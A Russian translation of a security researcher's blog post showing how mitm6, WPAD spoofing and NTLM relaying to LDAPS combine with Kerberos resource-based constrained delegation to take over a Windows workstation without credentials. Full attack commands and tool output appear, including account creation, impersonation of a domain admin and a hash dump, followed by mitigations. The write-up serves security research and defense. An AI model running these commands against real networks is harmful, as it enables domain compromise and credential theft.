Худшие вещи двух миров: комбинирование NTLM-ретранслирования и делегирования «Kerberos»

Время чтения: 5 минут

После моего подробного поста о неограниченном делегировании, написанном в прошлом месяце, логичным продолжением будет статья о другом типе делегирования «Kerberos» - ограниченном делегировании на основе ресурсов. Содержание этой статьи базируется двух основах: на исследовании Kerberos, проведённого Эладом Шамиром и на моём собственном исследовании NTLM. Суть статьи – представить вашему вниманию атаку, выполняющую на любом устройстве под Windows **код от имени SYSTEM** в активном каталоге (Active Directory). Если вы находитесь с атакуемым компьютером в одном сегменте сети, то вам не понадобится **никаких данных** об учётной записи. Это лишь очередной пример стандартного использования незащищённости активного каталога, а не новый эксплойт.

Атака TL;DR

Если атакующий находится в локальной сети либо физически (через дроп-устройство) либо через инфицированное устройство, то есть возможность произвести захват DNS с помощью mitm6 в случае если данный IPv6 ещё не используется в сети. После выполнения этой атаки, становится возможно сделать так, что системы и пользователи будут производить аутентификацию через наш HTTP. Это достигается с помощью подмены WPAD-локации и запроса аутентификаций через наш прокси. Я уже описывал детальную схему действия этой атаки в моей прошлогодней статье.

С помощью `ntlmrelayx`, эту NTLM-аутентификацию можно ретранслировать в LDAP и далее авторизоваться как аккаунт компьютера-жертвы. Учетные записи компьютеров способны изменять некоторые собственные параметры через LDAP, к примеру, атрибут `msDS-AllowedToActOnBehalfOfOtherIdentity`. Данный атрибут с помощью Kerberos определяет, какие пользователи могут авторизоваться на компьютере как **практически любой аккаунт активного каталога**. Это называется ограниченным делегированием на основе ресурсов и подробно описано Эладом Шамиром и harmj0y. Именно по этой причине, при аутентификации как учётная запись компьютера, мы можем изменить учетную запись в активном каталоге и тем самым получить возможность выдавать себя за пользователей на этом компьютере. Далее можно подключиться к компьютеру, на котором есть пользователь с расширенными привилегиями; и уже с него – выполнить необходимый код, слить хэши и так далее. Огромное преимущество этой атаки в том, что она работает по умолчанию и, соответственно, не требует учётки активного диалога для выполнения.

Нет учётных данных – нет проблем

Если вы уже читали блог Элада, вы могли обратить внимание, что для проведения атаки S4U2Proxy, вам необходимо иметь контроль над учётной записью компьютера (либо контроль над любым другим аккаунтом с Первичным именем службы – SPN). По умолчанию любой пользователь в активном каталоге может создать до 10 учётных записей компьютера. Что интересно, можно создавать их не только с аккаунтов пользователей, но и с существующих учёток компьютера! Когда пользователь или компьютер подключается к нашему NTML-ретранслированию, мы можем создать учётную запись компьютера с помощью `ntlmrelayx`:

```
dirkjan@ubuntu:~/impacket-py3$ ntlmrelayx.py -t ldaps://icorp-dc.internal.corp --add-computer
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=internal,DC=corp
[*] Adding new computer with username: GTIJUZEC$ and password: H-(oB>w59"h4Zy} result: OK
```

В данном случае необходимо производить ретранслирование на LDAP через TLS, поскольку создание аккаунтов через незашифрованное соединение запрещено. Данные созданных учётных записей компьютера могут быть использованы для любых операций в активном каталоге, к примеру, запрос и получение доменной информации или даже запуск BloodHound:

```
dirkjan@ubuntu:~/BloodHound.py$ python bloodhound.py -d internal.corp -u GTIJUZEC\$ -p 'H-(oB>w59"h4Zy}'
INFO: Found AD domain: internal.corp
INFO: Connecting to LDAP server: ICORP-DC.internal.corp
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 5 computers
INFO: Connecting to LDAP server: ICORP-DC.internal.corp
INFO: Found 29 users
INFO: Found 68 groups
```

Ретранслирование и настройка делегирования

Давайте прогоним атаку полностью. Сначала – запускаем mitm6 для захвата DNS нашей цели (в данном случае – ICORP-W10, полностью пропатченная установка Windows 10). Соответственно, атака проводится только на этот хост:

```
sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
```

Теперь нужно будет подождать, пока хост запросит IPv6 адрес через DHCPv6, или начнёт запрашивать конфигурацию WPAD. Самый лучший момент для этого – это перезагрузка компьютера жертвы или переподключение интернет-кабеля, так что если время позволяет, раннее утро – шикарное время для проведения подобной атаки. В противном случае, придётся быть терпеливыми (либо атаковать больше узлов, но, опять же, это более заметно). В это же время, запускаем ntlmrelayx с аргументами --delegate-access (чтобы активировать атаку делегирования) и -wh attacker-wpad, (для активации запросов спуфинга и аутентификации WPAD):

```
ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access
```

Через некоторое время mitm6 должен показать, что наша жертва проводит соединяется с нами как DNS-сервер для установленного хоста WPAD:

```
dirkjan@ubuntu:~/mitm6$ sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:66:b9:7e]
IPv4 address: 192.168.111.87
IPv6 address: fe80::d02:76b3:7c7a:ffa7
DNS local search domain: internal.corp
DNS whitelist: internal.corp
Hostname whitelist: icorp-w10
IPv6 address fe80::192:168:111:73 is now assigned to mac=00:0c:29:89:97:db host=ICORP-W10.
Renew reply sent to fe80::192:168:111:73
Sent spoofed reply for wpad.internal.corp. to fe80::192:168:111:73
Sent spoofed reply for wpad.internal.corp. to fe80::192:168:111:73
Sent spoofed reply for attacker-wpad.internal.corp. to fe80::192:168:111:73
```

Как можно увидеть, ntlmrelayx принимает соединение, создаёт новую учётную запись компьютера и предоставляет этой записи права делегирования на жертву:

```
dirkjan@ubuntu:~$ ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[shortened for readability]
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Serving PAC file to client 192.168.111.73
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=internal,DC=corp
[*] Adding new computer with username: RRDSUQJK$ and password: ug}~Qm?#<aOAl_$ result: OK
[*] Delegation rights modified succesfully!
[*] RRDSUQJK$ can now impersonate users on ICORP-W10$ via S4U2Proxy
```

Далее мы можем использовать `getST.py` из impacket, который выполнит всю магию S4U2Self и S4U2Proxy за нас. Необходимо использовать последнюю версию impacket с гитхаба – в ней присутствует поддержка делегирования на основе ресурсов. В этом примере мы будем действовать от имени пользователя `admin`. Это член группы `Domains Admins`, следовательно, он обладает административным доступом к `ICORP_W10`:

```
dirkjan@ubuntu:~$ getST.py -spn cifs/icorp-w10.internal.corp internal.corp/RRDSUQJK\$ -impersonate admin
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Getting TGT for user
[*] Impersonating admin
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in admin.ccache
```

Теперь у нас есть билет службы Kerberos (Kerberos Service Ticket) для пользователя `admin`, который действителен для `cifs/icorp-w10.internal.corp`. Единственное, что это даёт нам – это возможность выдавать себя за этого пользователя на этом хосте. На целевом же хосте мы можем делать всё, что заблагорассудится. Например, мы решили выгрузить хэш с секретным дампом памяти:

```
dirkjan@ubuntu:~$ export KRB5CCNAME=admin.ccache
dirkjan@ubuntu:~$ secretsdump.py -k -no-pass icorp-w10.internal.corp
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

С этого момента атакующий имеет полный контроль над рабочей станцией жертвы.

Прочие способы использования

В этом блоге можно узнать, как использовать mitm6 и WPAD для проведения атак ретранслирования без наличия и использования учётных данных. В подобных случаях может быть использовано любое соединение по HTTP к хосту, который воспринимается Windows как часть интрасети (если активно автоматическое обнаружение интрасети). Основной блог Элада раскрывает использование WebDAV для использования данного метода на хостах. Другой вариант атаки – это PrivExchange, когда группа Exchange

аутентифицируется как SYSTEM (если не установлены последние патчи Windows). Дополнительная информация.

Инструменты

Обновлённая версия ntlmrelayx доступна на ветке моего форка impacket. Я обновлю эту статью как только ветку объединят с основным репозиторием.

Способы защиты

Поскольку данная атака состоит из нескольких шагов, есть несколько способов минимизировать риски.

Минимизация риском mitm6

Шаг атаки mitm6 использует тот факт, что Windows запрашивает IPv6-адрес даже в среде, где используется только IPv4. Если вы не используете IPv6 во внутренней сети, лучший способ предотвратить mitm6-атаку – это блокировать DHCPv6 траффик и входящие объявления от маршрутизатора прямо в файрволе Windows через групповую политику. Полное же отключение IPv6 может иметь нежелательные побочные эффекты. Установка следующих параметров на «Блокировать» вместо «Разрешить» позволяет предотвратить возможность этой атаки:

- (Входящие соединения) Базовой сети (Core Networking) – Протокол динамической конфигурации хоста для IPv6 (DHCPV6-In)
- (Входящие соединения) Базовой сети (Core Networking) – Объявления маршрутизатора (ICMPv6-In)
- (Исходящие соединения) Базовой сети (Core Networking) – Протокол динамической конфигурации хоста для IPv6 (DHCPV6-Out)

Минимизация риска атаки WPAD

Если WPAD не используется, отключите его через групповую политику и отключите службу WinHttpAutiProxySvc. Дальнейшие способы минимизации рисков атаки и методы обнаружения обсуждаются в блоге mitm6.

Минимизация риска ретранслирования на LDAP

Ретранслирования на LDAP и LDAPS можно избежать лишь включением LDAP-подписи и привязке каналов LDAP.

Минимизация риска делегирования на основе ресурсов

Этого довольно сложно избежать, так как мы имеем дело с абсолютно естественной концепцией Kerberos. Область атаки может быть уменьшена добавлением пользователей с административными правами в группу защищённых пользователей (Protected Users) или пометив эти аккаунты как аккаунты без возможности делегирования (Account is sensitive and cannot be delegated). Это поможет предотвратить любую подмену пользователя посредством делегирования. Дальнейшие способы минимизации рисков атаки и методы обнаружения можно найти здесь.

Оригинал: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation